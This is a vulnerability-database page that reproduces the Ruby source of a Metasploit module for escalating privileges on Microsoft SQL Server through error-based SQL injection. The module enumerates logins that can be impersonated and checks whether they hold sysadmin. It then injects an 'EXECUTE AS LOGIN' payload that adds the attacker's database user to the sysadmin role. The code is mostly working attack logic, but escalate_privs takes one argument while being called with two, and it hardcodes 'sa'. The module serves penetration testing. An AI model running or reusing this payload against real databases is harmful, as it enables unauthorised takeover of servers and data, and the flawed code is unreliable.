Lucene search
K

Microsoft SQL Server SQLi Escalate Execute AS

🗓️ 12 Nov 2014 15:26:47Reported by nullbind <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 15 Views

This module escalates privileges by leveraging IMPERSONATION privilege through error-based SQL injection, potentially granting sysadmin privileges if successful. Injection URLs syntax: /testing.asp?id=1+and+1=[SQLi];-

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::MSSQL_SQLI
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft SQL Server SQLi Escalate Execute AS',
      'Description'    => %q{
        This module can be used escalate privileges if the IMPERSONATION privilege has been
        assigned to the user via error based SQL injection.  In most cases, this results in
        additional data access, but in some cases it can be used to gain sysadmin privileges.
        The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
      },
      'Author'         => ['nullbind <scott.sutherland[at]netspi.com>'],
      'License'        => MSF_LICENSE,
      'References'     => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
    ))
  end

  def run
    # Get the database user name
    print_status("Grabbing the database user name...")
    db_user = get_username
    if db_user.nil?
      print_error("Unable to grab user name...")
      return
    else
      print_good("Database user: #{db_user}")
    end

    # Grab sysadmin status
    print_status("Checking if #{db_user} is already a sysadmin...")
    admin_status = check_sysadmin

    if admin_status.nil?
      print_error("Couldn't retrieve user status, aborting...")
      return
    elsif admin_status == '1'
      print_error("#{db_user} is already a sysadmin, no escalation needed.")
      return
    else
      print_status("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")
    end

    # Get list of users that can be impersonated
    print_status("Enumerating a list of users that can be impersonated...")
    imp_user_list = check_imp_users
    if imp_user_list.nil? || imp_user_list.empty?
      print_error("Sorry, the current user doesnt have permissions to impersonate anyone.")
      return
    else
      # Display list of users that can be impersonated
      print_good("#{imp_user_list.length} users can be impersonated:")
      imp_user_list.each do |dbuser|
        print_status("  #{dbuser}")
      end
    end

    # Check if any of the users that can be impersonated are sysadmins
    print_status("Checking if any of them are sysadmins...")
    imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
    if imp_user_sysadmin.nil?
      print_error("Sorry, none of the users that can be impersonated are sysadmins.")
      return
    end

    # Attempt to escalate to sysadmin
    print_status("Attempting to impersonate #{imp_user_sysadmin}...")
    escalate_privs(imp_user_sysadmin,db_user)

    admin_status = check_sysadmin
    if admin_status && admin_status == '1'
      print_good("Success! #{db_user} is now a sysadmin!")
    else
      print_error("Fail buckets, something went wrong.")
    end
  end

  def get_username
    # Setup query to check for database username
    clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
    clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
    sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"

    # Run query
    result = mssql_query(sql)

    # Parse result
    if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
      user_name = $1
    else
      user_name = nil
    end

    user_name
  end

  def check_sysadmin
    # Setup query to check for sysadmin
    clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
    clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
    sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"

    # Run query
    result = mssql_query(sql)

    # Parse result
    if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
      status = $1
    else
      status = nil
    end

    status
  end

  def check_imp_users
    # Setup query to check for trusted databases owned by sysadmins
    clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
    clue_end = Rex::Text.rand_text_alpha(8 + rand(4))

    # Setup query
    sql = "(select cast((SELECT DISTINCT '#{clue_start}'+b.name+'#{clue_end}'
    FROM  sys.server_permissions a
    INNER JOIN sys.server_principals b
    ON a.grantor_principal_id = b.principal_id
    WHERE a.permission_name = 'IMPERSONATE' for xml path('')) as int))"

    # Run query
    res = mssql_query(sql)

    unless res && res.body
      return nil
    end

    #Parse results
    parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)

    if parsed_result && !parsed_result.empty?
      parsed_result.flatten!
      parsed_result.uniq!
    end

    parsed_result
  end

  def check_imp_sysadmin(imp_user_list)
    # Check if the user has the db_owner role is any databases
    imp_user_list.each do |imp_user|
      # Setup query
      clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
      clue_end = Rex::Text.rand_text_alpha(8 + rand(4))

      sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin','#{imp_user}'))as varchar)+'#{clue_end}')"

      # Run query
      result = mssql_query(sql)

      unless result && result.body
        next
      end

      #Parse results
      parsed_result = result.body.scan(/#{clue_start}(.*?)#{clue_end}/m)

      if parsed_result && !parsed_result.empty?
        parsed_result.flatten!
        parsed_result.uniq!
      end

      # check if user is a sysadmin
      if parsed_result && parsed_result[0] == '1'
        print_good("  #{imp_user} is a sysadmin!")
        return imp_user
      else
        print_status("  #{imp_user} is NOT a sysadmin")
      end
    end

    nil
  end

  # Attempt to escalate privileges
  def escalate_privs(db_user)

    # Setup Query - Impersonate the first sysadmin user on the list
    evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '#{db_user}','sysadmin';Revert;--"

    # Execute Query
    mssql_query(evil_sql)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Dec 2020 10:31Current
1.6Low risk
Vulners AI Score1.6
15